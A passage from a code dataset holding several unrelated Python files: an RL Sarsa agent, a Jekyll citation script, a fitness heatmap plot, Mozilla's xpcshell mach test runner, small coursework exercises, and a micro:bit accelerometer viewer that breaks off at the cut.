self.env.render()\n        time.sleep(5)\n        for num in range(times):\n            print(\"第{}次测试\".format(num+1))\n            self._init_agent()\n            self.Q=Q\n            self.pro_fine=random.random()\n            total_reward=0\n            for i in range(30):\n                observation_0=self.env.state\n                weather_0=self.get_weather()\n                water=int(self.water/240*10)\n                food=int(self.food/240*10)\n                state_0=self._name_state([observation_0,weather_0,i,water,food])\n                action_0=self.policy(state_0, 0.01)\n                if weather_0==2:\n                    #沙暴天气强制不能移动\n                    action_0=4\n                observation_1,reward,is_done,info=env.step(action_0)\n                reward=self.get_reward(observation_0, observation_1, weather_0)\n                if reward >=0:\n                    reward=1000\n                elif reward==-1620:\n                    reward=-1620\n                else:\n                    reward=0\n                env.render()\n                if weather_0==0:\n                    print(\"第{}天，到达位置{}，天气晴朗，获得奖励{}\".format(i,self.env.state,reward))\n                if weather_0==1:\n                    print(\"第{}天，到达位置{}，天气炎热，获得奖励{}\".format(i,self.env.state,reward))\n                if weather_0==2:\n                    print(\"第{}天，到达位置{}，沙尘暴，获得奖励{}\".format(i,self.env.state,reward))\n                \n                time.sleep(0.3)\n                total_reward+=reward\n                if self.food <= 0 or self.water <=0:\n                    print(\"因为资源紧缺半路阵亡\")\n                    break\n                \n                if i==29 and not is_done:\n                    print(\"规定时间未到达\")\n                    break\n                \n                if is_done:\n                    final_money=6400+self.water*2.5+self.food*5+total_reward\n                    print(\"到达终点，用时共{}天，剩余水{}，剩余食物{}，最后资金{}\".format(i,self.water,self.food,final_money))\n                    break\n        \n        time.sleep(3)\n        self.env.close()\n        \n    \n    def evaluate_policy(self,times,Q_name=None):\n        #既可以评估当前策略，也可以评估存为pickle的策略\n        if Q_name is not None:\n            with open(Q_name, 'rb') as file:\n                Q=pickle.load(file)\n                self.Q=Q\n        average_return=0\n        success_count=0\n        for num in range(times):\n            '''\n            present_percent_0=int((num*100/times)*100)/100\n            present_percent_1=int(((num+1)*100/times)*100)/100\n            if present_percent_0!=present_percent_1:\n                print(\"测试进度：{:.2f}%\".format(present_percent_0))\n            '''\n            self._init_agent()\n            self.pro_fine=random.random()\n            total_reward=0\n            for i in range(30):\n                observation_0=self.env.state\n                weather_0=self.get_weather()\n                water=int(self.water/240*10)\n                food=int(self.food/240*10)\n                state_0=self._name_state([observation_0,weather_0,i,water,food])\n                action_0=self.policy(state_0, 0)\n                if weather_0==2:\n                    #沙暴天气强制不能移动\n                    action_0=4\n                observation_1,reward,is_done,info=env.step(action_0)\n                reward=self.get_reward(observation_0, observation_1, weather_0)\n                \n                if reward >=0:\n                    reward=1000\n                elif reward==-1620:\n                    reward=-1620\n                else:\n                    reward=0\n                \n                total_reward+=reward\n                if self.food < 0 or self.water < 0:\n                    total_reward=0\n                    break\n                \n                if i==29 and not is_done:\n                    total_reward=0\n                    break\n                \n                if is_done:\n                    total_reward=6400+self.water*2.5+self.food*5+total_reward\n                    success_count+=1\n                    break\n            average_return+=total_reward/times\n        return average_return,success_count/times\n    \n\n'''\ntraining_times=12000000\n\na=Sarsa_Agent()\nQ,loss_list,ar,sr=a.learning(lambda_=0.1, \n                         gamma=0.8, \n                         alpha=0.01, \n                         max_episode_num=training_times)\n\ny=np.array(ar)\nx=np.arange(0,len(y),1)\nplt.plot(x, y)\nplt.show()\n\ny1=np.array(sr)\nx1=np.arange(0,len(y1),1)\nplt.plot(x1, y1)\nplt.show()\n\n\nhead='NO_4_'\nmid=str(int(training_times/10000))\nend='w_automatic_alpha_10-2'\ntail_1='.pickle'\ntail_2='_return_list.pickle'\ntail_3='_eval_ar.pickle'\ntail_4='_eval_sr.pickle'\n\n\nfile = open(head+mid+end+tail_1, 'wb')\npickle.dump(Q, file)\nfile.close()\n\nfile = open(head+mid+end+tail_2, 'wb')\npickle.dump(loss_list, file)\nfile.close()\n\nfile = open(head+mid+end+tail_3, 'wb')\npickle.dump(ar, file)\nfile.close()\n\nfile = open(head+mid+end+tail_4, 'wb')\npickle.dump(sr, file)\nfile.close()\n'''","repo_name":"EdwardYangHY/RL-graduation-design","sub_path":"Mathematiacal Modeling by Reinforcment learning/map_4/Sarsa_lambda/NO_4_sarsa_SeachingModification.py","file_name":"NO_4_sarsa_SeachingModification.py","file_ext":"py","file_size_in_byte":17401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"20319478189","text":"import os\nimport re\nimport shutil\nfrom collections import defaultdict\nfrom pathlib import Path\n\nimport yaml\nfrom pybtex.database import parse_file\n\nEXT = \"md\"\n\nPOSTS_DIRS = [\"_posts\", \"_drafts\"]\nREVIEWS_DIRS = [\"_books\"]\nPATH_MAP = {\n    \"_posts\": \"/{}.html\",\n    \"_drafts\": \"/{}.html\",\n    \"_books\": \"/bibliography/{}.html\",\n}\nUNCITES_FP = \"_data/uncites.yml\"\nSEE_ALSO_FP = \"_data/see_alsos.yml\"\n\nCITE_REGEXP = \"{% cite(_detail)? (?P<cite_keys>.*?)( -.*?)? %}\"\nPOST_DATE_NAME_REGEXP = r\"(\\d{4}-\\d{2}-\\d{2}-)?(?P<post_name>.+)\"\n\nBIB_DIR = Path(\"_bibliography\")\nBIB_DATA = [parse_file(BIB_DIR / bib) for bib in os.listdir(BIB_DIR)]\n\nYAML_KWARGS = dict(explicit_start=True, explicit_end=True, indent=2)\n\n\ndef main():\n    cite_posts = defaultdict(set)\n\n    for post_dir in POSTS_DIRS:\n        posts = filter(lambda fn: fn.endswith(\".md\"), os.listdir(post_dir))\n        for post in posts:\n            post_date_name, _ = os.path.splitext(post)\n            match = re.search(POST_DATE_NAME_REGEXP, post_date_name)\n            if not match:\n                continue\n            post_name = match.groupdict()[\"post_name\"]\n            post_path = PATH_MAP[post_dir].format(post_name)\n            with open(os.path.join(post_dir, post), \"r\") as f:\n                post_contents = f.read().replace(\"\\n\", \"\")\n            matches = re.finditer(CITE_REGEXP, post_contents)\n            for match in matches:\n                cite_keys = match.groupdict()[\"cite_keys\"].split(\" \")\n                for cite_key in cite_keys:\n                    if cite_key == post_name:\n                        continue\n                    cite_posts[cite_key] |= {post_path}\n    with open(UNCITES_FP, \"w\") as f:\n        uncites = {key: list(posts) for key, posts in cite_posts.items()}\n        yaml.dump(uncites, f, **YAML_KWARGS)\n\n    see_also_reviews = defaultdict(set)\n\n    for reviews_dir in REVIEWS_DIRS:\n        reviews = filter(\n            lambda fn: fn.endswith(\".md\"), os.listdir(reviews_dir)\n        )\n        for review in reviews:\n            review_date_name, _ = os.path.splitext(review)\n            match = re.search(POST_DATE_NAME_REGEXP, review_date_name)\n            if not match:\n                continue\n            review_cite_key = match.groupdict()[\"post_name\"]\n            with open(os.path.join(reviews_dir, review), \"r\") as f:\n                review_contents = f.read().replace(\"\\n\", \"\")\n            matches = re.finditer(CITE_REGEXP, review_contents)\n            for match in matches:\n                cite_keys = match.groupdict()[\"cite_keys\"].split(\" \")\n                for cite_key in cite_keys:\n                    if cite_key == review_cite_key:\n                        continue\n                    see_also_reviews[cite_key] |= {review_cite_key}\n        with open(SEE_ALSO_FP, \"w\") as f:\n            see_alsos = defaultdict(list)\n            for key, reviews in see_also_reviews.items():\n                for review_cite_key in reviews:\n                    review_path = PATH_MAP[reviews_dir].format(review_cite_key)\n                    review_title = next(\n                        bib_data.entries[review_cite_key].fields[\"title\"]\n                        for bib_data in BIB_DATA\n                        if review_cite_key in bib_data.entries\n                    )\n                    see_alsos[key].append(\n                        {\"title\": review_title, \"path\": review_path}\n                    )\n            yaml.dump(dict(see_alsos), f, **YAML_KWARGS)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"joseph-long/essayer","sub_path":"bin/uncite.py","file_name":"uncite.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36001984410","text":"import matplotlib.pylab as pt\nimport numpy\nimport matplotlib.gridspec as gridspec\nimport matplotlib\nimport scipy.stats\nfrom matplotlib.colors import LinearSegmentedColormap\nimport matplotlib.cm as cm\nimport import_utilities\n\nfit_dict, gen_dict, std_err_dict, random_reps = import_utilities.import_fitness_data('data/pleiotropy_fitness_data_7_4_2019.txt')\n\n####Get fitnesses across set of diagnostic measurement environments\nevolution_environments = ['Evolved in SC','Evolved in .07% glu', 'Evolved in gal','Evolved in 37 C' ,'Evolved in 21 C','Evolved in .8 M','Evolved in pH 3','Evolved in pH 7.3']\n\nevolution_env_labels = ['SC','Low\\nglu','Gal','High\\ntemp','Low\\ntemp','High\\nsalt','pH 3','pH 7.3']\nmeasurement_environments = ['fitness in SC','fitness in .07% glu','fitness in gal','fitness in 37 C','fitness in 21 C','fitness in .8 M','fitness in pH 3','fitness in pH 7.3']\nmeasurement_env_labels = ['SC','Low glu','Gal','High temp','Low temp','High salt','pH 3','pH 7.3']\n\n##Get a table of the median fitness in each measurement and evolution condition\n\nfitness_table = numpy.zeros((8,8),dtype='float')\nfitness_table_vplus = numpy.zeros((8,8),dtype='float')\n#print(fit_dict)\nfor i in range(8):\n\tfor j in range(8):\n\t\t\n\t\tevolution_environment = evolution_environments[i]\n\t\tmeasurement_environment = measurement_environments[j]\n\t\t\n\t\tgen_scalefactor = gen_dict[evolution_environment]/700.\n\t\t\n\t\t###Evolution env on rows, measurement env on columns; in general fitness_table[i,j] != fitness_table[j,i]\n\t\t\n\t\tfitlist = []\n\t\tfitlist_vplus = []\n\t\tfor clone in fit_dict[evolution_environment]:\n\t\t\tfitlist.append(fit_dict[evolution_environment][clone][measurement_environment]*100./gen_scalefactor) ###fitness gained/lost per 700 gens of evolution, in percent\n\t\t\tif fit_dict[evolution_environment][clone][\"virus\"] == \"Virus retained\":\n\t\t\t\tfitlist_vplus.append(fit_dict[evolution_environment][clone][measurement_environment]*100./gen_scalefactor)\n\t\t\t\t\n\t\tfitness_table[i,j] = numpy.median(fitlist) ###Median fitness across the clones from evolution_environment i, in measurement environment j\n\t\tfitness_table_vplus[i,j] = numpy.median(fitlist_vplus)\n\n##Plot the table with a diverging colormap so we can see fitness gains/losses\n\nedgecolor_constructor = []\nlinewidth_constructor = []\ncounter = 0\nfor i in range(8):\n\tfor j in range(8):\n\t\tif i == 7-j or i == 8-j:\n\t\t\tedgecolor_constructor.append('w')\n\t\t\tlinewidth_constructor.append(2)\n\t\telse:\n\t\t\tedgecolor_constructor.append('w')\n\t\t\tlinewidth_constructor.append(.5)\n\t\t\t\npt.figure()\n\npt.pcolor( fitness_table[::-1], cmap = 'RdBu', vmin=-8,vmax=8,edgecolors='w', linewidth=.5)\npt.colorbar(label='Median fitness (%)')\nax = pt.gca()\nax.set_xticks(numpy.arange(.5,8.7,1))\nax.set_yticks(numpy.arange(.5,8.7,1))\nax.set_xticklabels(evolution_env_labels,fontsize=8)\nax.set_yticklabels(measurement_env_labels[::-1],fontsize=8)\nax.set_xlim(0,8)\nax.set_ylim(0,8)\nax.tick_params(axis=u'both', which=u'both',length=0)\nax.set_xlabel('Measurement environment',fontsize=14)\nax.set_ylabel('Evolution environment',fontsize=14)\npt.plot([0,8],[8,0],'--',color='Gray',linewidth=.5)\nfor i in range(8):\n\tfor j in range(8):\n\t\tif fitness_table[i,7-j] < 0 and fitness_table[i,7-j] > -.1: ###This will get printed as -0.0, so print 0.0 instead\n\t\t\tax.text(7-j+.5,7-i+.5,abs(numpy.round(fitness_table[i,7-j],1)),color='Gray',fontsize=7,horizontalalignment='center',verticalalignment='center')\n\t\telif i==7-j:\n\t\t\tax.text(7-j+.5,7-i+.5,numpy.round(fitness_table[i,7-j],1),color='k',fontsize=7,horizontalalignment='center',verticalalignment='center')\n\n\t\telse:\n\t\t\tax.text(7-j+.5,7-i+.5,numpy.round(fitness_table[i,7-j],1),color='Gray',fontsize=7,horizontalalignment='center',verticalalignment='center')\n\t\t\npt.savefig('figures/median_fitness_heatmap_check.pdf',bbox_inches='tight')\n\n##Plot the table with clones that lost the virus removed\n\npt.figure()\n\npt.pcolor( fitness_table_vplus[::-1], cmap = 'RdBu', vmin=-5,vmax=5,edgecolors='w' )\npt.colorbar(label='Median fitness (%)')\nax = pt.gca()\nax.set_xticks(numpy.arange(.5,8.7,1))\nax.set_yticks(numpy.arange(.5,8.7,1))\nax.set_xticklabels(evolution_env_labels,fontsize=8)\nax.set_yticklabels(measurement_env_labels[::-1],fontsize=8)\nax.set_xlim(0,8)\nax.set_ylim(0,8)\nax.tick_params(axis=u'both', which=u'both',length=0)\nax.set_xlabel('Measurement environment',fontsize=14)\nax.set_ylabel('Evolution environment',fontsize=14)\npt.plot([0,8],[8,0],'--',color='Gray',linewidth=.5)\nfor i in range(8):\n\tfor j in range(8):\n\t\tif fitness_table_vplus[i,7-j] < 0 and fitness_table_vplus[i,7-j] > -.1: ###This will get printed as -0.0, so print 0.0 instead\n\t\t\tax.text(7-j+.5,7-i+.5,abs(numpy.round(fitness_table_vplus[i,7-j],1)),color='Gray',fontsize=7,horizontalalignment='center',verticalalignment='center')\n\t\telif i==7-j:\n\t\t\tax.text(7-j+.5,7-i+.5,numpy.round(fitness_table_vplus[i,7-j],1),color='k',fontsize=7,horizontalalignment='center',verticalalignment='center')\n\n\t\telse:\n\t\t\tax.text(7-j+.5,7-i+.5,numpy.round(fitness_table_vplus[i,7-j],1),color='Gray',fontsize=7,horizontalalignment='center',verticalalignment='center')\npt.savefig('figures/median_fitness_heatmap_vplusonly_check.pdf',bbox_inches='tight')","repo_name":"erjerison/pleiotropy","sub_path":"Figure1_median_fitnesses.py","file_name":"Figure1_median_fitnesses.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13765588927","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n# Integrates the xpcshell test runner with mach.\n\nfrom __future__ import absolute_import, unicode_literals, print_function\n\nimport argparse\nimport os\nimport shutil\nimport sys\n\nfrom mozlog import structured\n\nfrom mozbuild.base import (\n    MachCommandBase,\n    MozbuildObject,\n    MachCommandConditions as conditions,\n)\n\nfrom mach.decorators import (\n    CommandArgument,\n    CommandProvider,\n    Command,\n)\n\nfrom xpcshellcommandline import parser_desktop, parser_remote, parser_b2g\n\nADB_NOT_FOUND = '''\nThe %s command requires the adb binary to be on your path.\n\nIf you have a B2G build, this can be found in\n'%s/out/host/<platform>/bin'.\n'''.lstrip()\n\nBUSYBOX_URLS = {\n    'arm': 'http://www.busybox.net/downloads/binaries/latest/busybox-armv7l',\n    'x86': 'http://www.busybox.net/downloads/binaries/latest/busybox-i686'\n}\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nif sys.version_info[0] < 3:\n    unicode_type = unicode\nelse:\n    unicode_type = str\n\n# This should probably be consolidated with similar classes in other test\n# runners.\nclass InvalidTestPathError(Exception):\n    \"\"\"Exception raised when the test path is not valid.\"\"\"\n\n\nclass XPCShellRunner(MozbuildObject):\n    \"\"\"Run xpcshell tests.\"\"\"\n    def run_suite(self, **kwargs):\n        return self._run_xpcshell_harness(**kwargs)\n\n    def run_test(self, **kwargs):\n        \"\"\"Runs an individual xpcshell test.\"\"\"\n\n        # TODO Bug 794506 remove once mach integrates with virtualenv.\n        build_path = os.path.join(self.topobjdir, 'build')\n        if build_path not in sys.path:\n            sys.path.append(build_path)\n\n        src_build_path = os.path.join(self.topsrcdir, 'mozilla', 'build')\n        if os.path.isdir(src_build_path):\n            sys.path.append(src_build_path)\n\n        self.run_suite(**kwargs)\n\n\n    def _run_xpcshell_harness(self, **kwargs):\n        # Obtain a reference to the xpcshell test runner.\n        import runxpcshelltests\n\n        log = kwargs.pop(\"log\")\n\n        xpcshell = runxpcshelltests.XPCShellTests(log=log)\n        self.log_manager.enable_unstructured()\n\n        tests_dir = os.path.join(self.topobjdir, '_tests', 'xpcshell')\n        # We want output from the test to be written immediately if we are only\n        # running a single test.\n        single_test = (len(kwargs[\"testPaths\"]) == 1 and\n                       os.path.isfile(kwargs[\"testPaths\"][0]) or\n                       kwargs[\"manifest\"] and\n                       (len(kwargs[\"manifest\"].test_paths()) == 1))\n\n        if single_test:\n            kwargs[\"verbose\"] = True\n\n        if kwargs[\"xpcshell\"] is None:\n            kwargs[\"xpcshell\"] = self.get_binary_path('xpcshell')\n\n        if kwargs[\"mozInfo\"] is None:\n            kwargs[\"mozInfo\"] = os.path.join(self.topobjdir, 'mozinfo.json')\n\n        if kwargs[\"symbolsPath\"] is None:\n            kwargs[\"symbolsPath\"] = os.path.join(self.distdir, 'crashreporter-symbols')\n\n        if kwargs[\"logfiles\"] is None:\n            kwargs[\"logfiles\"] = False\n\n        if kwargs[\"profileName\"] is None:\n            kwargs[\"profileName\"] = \"firefox\"\n\n        if kwargs[\"pluginsPath\"] is None:\n            kwargs['pluginsPath'] = os.path.join(self.distdir, 'plugins')\n\n        if kwargs[\"testingModulesDir\"] is None:\n            kwargs[\"testingModulesDir\"] = os.path.join(self.topobjdir, '_tests/modules')\n\n        if kwargs[\"utility_path\"] is None:\n            kwargs['utility_path'] = self.bindir\n\n        if kwargs[\"manifest\"] is None:\n            kwargs[\"manifest\"] = os.path.join(tests_dir, \"xpcshell.ini\")\n\n        if kwargs[\"failure_manifest\"] is None:\n            kwargs[\"failure_manifest\"] = os.path.join(self.statedir, 'xpcshell.failures.ini')\n\n        # Python through 2.7.2 has issues with unicode in some of the\n        # arguments. Work around that.\n        filtered_args = {}\n        for k, v in kwargs.iteritems():\n            if isinstance(v, unicode_type):\n                v = v.encode('utf-8')\n\n            if isinstance(k, unicode_type):\n                k = k.encode('utf-8')\n\n            filtered_args[k] = v\n\n        result = xpcshell.runTests(**filtered_args)\n\n        self.log_manager.disable_unstructured()\n\n        if not result and not xpcshell.sequential:\n            print(\"Tests were run in parallel. Try running with --sequential \"\n                  \"to make sure the failures were not caused by this.\")\n        return int(not result)\n\nclass AndroidXPCShellRunner(MozbuildObject):\n    \"\"\"Get specified DeviceManager\"\"\"\n    def get_devicemanager(self, devicemanager, ip, port, remote_test_root):\n        import mozdevice\n        dm = None\n        if devicemanager == \"adb\":\n            if ip:\n                dm = mozdevice.DroidADB(ip, port, packageName=None, deviceRoot=remote_test_root)\n            else:\n                dm = mozdevice.DroidADB(packageName=None, deviceRoot=remote_test_root)\n        else:\n            if ip:\n                dm = mozdevice.DroidSUT(ip, port, deviceRoot=remote_test_root)\n            else:\n                raise Exception(\"You must provide a device IP to connect to via the --ip option\")\n        return dm\n\n    \"\"\"Run Android xpcshell tests.\"\"\"\n    def run_test(self, **kwargs):\n        # TODO Bug 794506 remove once mach integrates with virtualenv.\n        build_path = os.path.join(self.topobjdir, 'build')\n        if build_path not in sys.path:\n            sys.path.append(build_path)\n\n        import remotexpcshelltests\n\n        dm = self.get_devicemanager(kwargs[\"dm_trans\"], kwargs[\"deviceIP\"], kwargs[\"devicePort\"],\n                                    kwargs[\"remoteTestRoot\"])\n\n        log = kwargs.pop(\"log\")\n        self.log_manager.enable_unstructured()\n\n        if kwargs[\"xpcshell\"] is None:\n            kwargs[\"xpcshell\"] = \"xpcshell\"\n\n        if not kwargs[\"objdir\"]:\n            kwargs[\"objdir\"] = self.topobjdir\n\n        if not kwargs[\"localLib\"]:\n            kwargs[\"localLib\"] = os.path.join(self.topobjdir, 'dist/fennec')\n\n        if not kwargs[\"localBin\"]:\n            kwargs[\"localBin\"] = os.path.join(self.topobjdir, 'dist/bin')\n\n        if not kwargs[\"testingModulesDir\"]:\n            kwargs[\"testingModulesDir\"] = os.path.join(self.topobjdir, '_tests/modules')\n\n        if not kwargs[\"mozInfo\"]:\n            kwargs[\"mozInfo\"] = os.path.join(self.topobjdir, 'mozinfo.json')\n\n        if not kwargs[\"manifest\"]:\n            kwargs[\"manifest\"] = os.path.join(self.topobjdir, '_tests/xpcshell/xpcshell.ini')\n\n        if not kwargs[\"symbolsPath\"]:\n            kwargs[\"symbolsPath\"] = os.path.join(self.distdir, 'crashreporter-symbols')\n\n        if not kwargs[\"localAPK\"]:\n            for file_name in os.listdir(os.path.join(kwargs[\"objdir\"], \"dist\")):\n                if file_name.endswith(\".apk\") and file_name.startswith(\"fennec\"):\n                    kwargs[\"localAPK\"] = os.path.join(kwargs[\"objdir\"], \"dist\", file_name)\n                    print (\"using APK: %s\" % kwargs[\"localAPK\"])\n                    break\n            else:\n                raise Exception(\"You must specify an APK\")\n\n        options = argparse.Namespace(**kwargs)\n        xpcshell = remotexpcshelltests.XPCShellRemote(dm, options, log)\n\n        result = xpcshell.runTests(testClass=remotexpcshelltests.RemoteXPCShellTestThread,\n                                   mobileArgs=xpcshell.mobileArgs,\n                                   **vars(options))\n\n        self.log_manager.disable_unstructured()\n\n        return int(not result)\n\nclass B2GXPCShellRunner(MozbuildObject):\n    def __init__(self, *args, **kwargs):\n        MozbuildObject.__init__(self, *args, **kwargs)\n\n        # TODO Bug 794506 remove once mach integrates with virtualenv.\n        build_path = os.path.join(self.topobjdir, 'build')\n        if build_path not in sys.path:\n            sys.path.append(build_path)\n\n        build_path = os.path.join(self.topsrcdir, 'build')\n        if build_path not in sys.path:\n            sys.path.append(build_path)\n\n        self.tests_dir = os.path.join(self.topobjdir, '_tests')\n        self.xpcshell_dir = os.path.join(self.tests_dir, 'xpcshell')\n        self.bin_dir = os.path.join(self.distdir, 'bin')\n\n    def _download_busybox(self, b2g_home, emulator):\n        import urllib2\n\n        target_device = 'generic'\n        if emulator == 'x86':\n            target_device = 'generic_x86'\n        system_bin = os.path.join(b2g_home, 'out', 'target', 'product', target_device, 'system', 'bin')\n        busybox_path = os.path.join(system_bin, 'busybox')\n\n        if os.path.isfile(busybox_path):\n            return busybox_path\n\n        if not os.path.isdir(system_bin):\n            os.makedirs(system_bin)\n\n        try:\n            data = urllib2.urlopen(BUSYBOX_URLS[emulator])\n        except urllib2.URLError:\n            print('There was a problem downloading busybox. Proceeding without it,' \\\n                  'initial setup will be slow.')\n            return\n\n        with open(busybox_path, 'wb') as f:\n            f.write(data.read())\n        return busybox_path\n\n    def run_test(self, **kwargs):\n        try:\n            import which\n            which.which('adb')\n        except which.WhichError:\n            # TODO Find adb automatically if it isn't on the path\n            print(ADB_NOT_FOUND % ('mochitest-remote', kwargs[\"b2g_home\"]))\n            sys.exit(1)\n\n        import runtestsb2g\n\n        log = kwargs.pop(\"log\")\n        self.log_manager.enable_unstructured()\n\n        if kwargs[\"device_name\"].startswith('emulator') and 'x86' in kwargs[\"device_name\"]:\n            kwargs[\"emulator\"] = 'x86'\n\n        if kwargs[\"xpcshell\"] is None:\n            kwargs[\"xpcshell\"] = \"xpcshell\"\n        if kwargs[\"b2g_path\"] is None:\n            kwargs[\"b2g_path\"] = kwargs[\"b2g_home\"]\n        if kwargs[\"busybox\"] is None:\n            kwargs[\"busybox\"] = os.environ.get('BUSYBOX')\n        if kwargs[\"busybox\"] is None:\n            kwargs[\"busybox\"] = self._download_busybox(kwargs[\"b2g_home\"], kwargs[\"emulator\"])\n\n        if kwargs[\"localLib\"] is None:\n            kwargs[\"localLib\"] = self.bin_dir\n        if kwargs[\"localBin\"] is None:\n            kwargs[\"localBin\"] = self.bin_dir\n        if kwargs[\"logdir\"] is None:\n            kwargs[\"logdir\"] = self.xpcshell_dir\n        if kwargs[\"manifest\"] is None:\n            kwargs[\"manifest\"] = os.path.join(self.xpcshell_dir, 'xpcshell.ini')\n        if kwargs[\"mozInfo\"] is None:\n            kwargs[\"mozInfo\"] = os.path.join(self.topobjdir, 'mozinfo.json')\n        if kwargs[\"objdir\"] is None:\n            kwargs[\"objdir\"] = self.topobjdir\n        if kwargs[\"symbolsPath\"] is None:\n            kwargs[\"symbolsPath\"] = os.path.join(self.distdir, 'crashreporter-symbols')\n        if kwargs[\"testingModulesDir\"] is None:\n            kwargs[\"testingModulesDir\"] = os.path.join(self.tests_dir, 'modules')\n        if kwargs[\"use_device_libs\"] is None:\n            kwargs[\"use_device_libs\"] = True\n\n        parser = parser_b2g()\n        options = argparse.Namespace(**kwargs)\n        rv = runtestsb2g.run_remote_xpcshell(parser, options, log)\n\n        self.log_manager.disable_unstructured()\n        return rv\n\ndef get_parser():\n    build_obj = MozbuildObject.from_environment(cwd=here)\n    if conditions.is_android(build_obj):\n        return parser_remote()\n    elif conditions.is_b2g(build_obj):\n        return parser_b2g()\n    else:\n        return parser_desktop()\n\n@CommandProvider\nclass MachCommands(MachCommandBase):\n    def __init__(self, context):\n        MachCommandBase.__init__(self, context)\n\n        for attr in ('b2g_home', 'device_name'):\n            setattr(self, attr, getattr(context, attr, None))\n\n    @Command('xpcshell-test', category='testing',\n             description='Run XPCOM Shell tests (API direct unit testing)',\n             conditions=[lambda *args: True],\n             parser=get_parser)\n    def run_xpcshell_test(self, test_objects=None, **params):\n        from mozbuild.controller.building import BuildDriver\n\n        if test_objects is not None:\n            from manifestparser import TestManifest\n            m = TestManifest()\n            m.tests.extend(test_objects)\n            params['manifest'] = m\n\n        # We should probably have a utility function to ensure the tree is\n        # ready to run tests. Until then, we just create the state dir (in\n        # case the tree wasn't built with mach).\n        self._ensure_state_subdir_exists('.')\n\n        driver = self._spawn(BuildDriver)\n        driver.install_tests(remove=False)\n\n        params['log'] = structured.commandline.setup_logging(\"XPCShellTests\",\n                                                             params,\n                                                             {\"mach\": sys.stdout},\n                                                             {\"verbose\": True})\n\n        if conditions.is_android(self):\n            from mozrunner.devices.android_device import verify_android_device\n            verify_android_device(self)\n            xpcshell = self._spawn(AndroidXPCShellRunner)\n        elif conditions.is_b2g(self):\n            xpcshell = self._spawn(B2GXPCShellRunner)\n            params['b2g_home'] = self.b2g_home\n            params['device_name'] = self.device_name\n        else:\n            xpcshell = self._spawn(XPCShellRunner)\n        xpcshell.cwd = self._mach_context.cwd\n\n        try:\n            return xpcshell.run_test(**params)\n        except InvalidTestPathError as e:\n            print(e.message)\n            return 1\n","repo_name":"classilla/tenfourfox","sub_path":"testing/xpcshell/mach_commands.py","file_name":"mach_commands.py","file_ext":"py","file_size_in_byte":13590,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"37"}
+{"seq_id":"37404795139","text":"#Name: Lilliana Parra\n#Github username: ParraL1\n#Date: 3/30/22\n#Description: Importing the statistics module to get median, mode, and mean of grades\n\n\n\n#import the statistics module first\nimport statistics\n#student class with two private data members, the name and the grade\nclass Student:\n    def __init__(self,name,grade):\n        self.__name = name\n        self.__grade = grade\n        #get grade method\n    def get_grade(self):\n        return self.__grade\n#basic stats function that takes a parameter of objects for student stuff that returns\n#a tuple containing the mean, median,and mode of all grades\n\ndef basic_stats(student):\n        #list to store grades in\n        list_of_grades = []\n        for g in student:\n            list_of_grades.append(g.get_grade())\n#making sure that the spacing of the lines is correct as it changes the whole answer!\n\n            # getting the mean\n        mean = statistics.mean(list_of_grades)\n            #getting the median\n        median = statistics.median(list_of_grades)\n            #getting the mode\n        mode = statistics.mode(list_of_grades)\n        #making sure the numbers are listed in order!\n        in_order = (mean, median, mode)\n        #returning the list in order\n        return in_order","repo_name":"ParraL1/project1","sub_path":"basic.stats.py","file_name":"basic.stats.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1087024501","text":"#!/usr/bin/python3\n\"\"\"Divides all elements of matrix\"\"\"\ndef matrix_divided(matrix, div):\n    \"\"\"\n    A function that divides all elements of a matrix\n\n    Args:\n        matrix (list): A list of lists of integers or floats\n        div (int or float): divisor\n\n        Raises:\n            TypeError: non number values in matrix\n            TypeError: rows have different sizes\n            TypeError: div not int or float\n            ZeroDivisionError: div is 0\n    \"\"\"\n    if not all(isinstance(row, list) and all(isinstance(num, (int, float)) for num in row) for row in matrix):\n        raise TypeError(\"matrix must be a matrix (list of lists) of integers/floats\")\n\n    if not all(len(row) == len(matrix[0]) for row in matrix):\n        raise TypeError(\"Each row of the matrix must have the same size\")\n    if not isinstance(div, (int, float)):\n        raise TypeError(\"div must be a number\")\n    if div == 0:\n        raise ZeroDivisionError(\"division by zero\")\n\n    my_matrix = []\n    for row in matrix:\n        my_row = []\n        for num in row:\n            my_row.append(round(num / div, 2))\n        my_matrix.append(my_row)\n\n    return (my_matrix)\n","repo_name":"JonaNdawula/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73328869548","text":"#!/usr/bin/env python3\nfrom PyQt5 import QtCore, QtWidgets, QtGui\nimport btsensor\nimport os\n\n\nclass Canvas(QtWidgets.QGraphicsScene):\n    def __init__(self):\n        super().__init__()\n        self.text = None\n\n    def paint(self):\n        rect = QtCore.QRectF(0, 0, 100, 100)\n        color = QtGui.QColor(255, 0, 0)\n        self.addRect(rect, brush=QtGui.QBrush(color))\n\n    def write(self, text):\n        if self.text is None:\n            self.text = self.addText(text)\n        else:\n            self.text.setPlainText(text)\n\n\nclass ForwardingAccelerometer(btsensor.MicrobitAccelerometer):\n    def setCanvas(self, canvas):\n        self.__canvas = canvas\n\n    def processData(self, x, y, z):\n        self.__canvas.write(f'{x}, {y}, {z}')\n\n    def checkNotifications(self):\n        self.waitForNotifications(10)\n\n\ndef main():\n    mac = os.getenv('MICROBIT_MAC')\n    if not mac:\n        raise RuntimeError('need MICROBIT_MAC')\n\n    accelerometer = ForwardingAccelerometer(mac)\n\n    app = QtWidgets.QApplication([])\n    window = QtWidgets.QMainWindow()\n\n    canvas = Canvas()\n    accelerometer.setCanvas(canvas)\n    accelerometer.setNotifications()\n\n    timer = 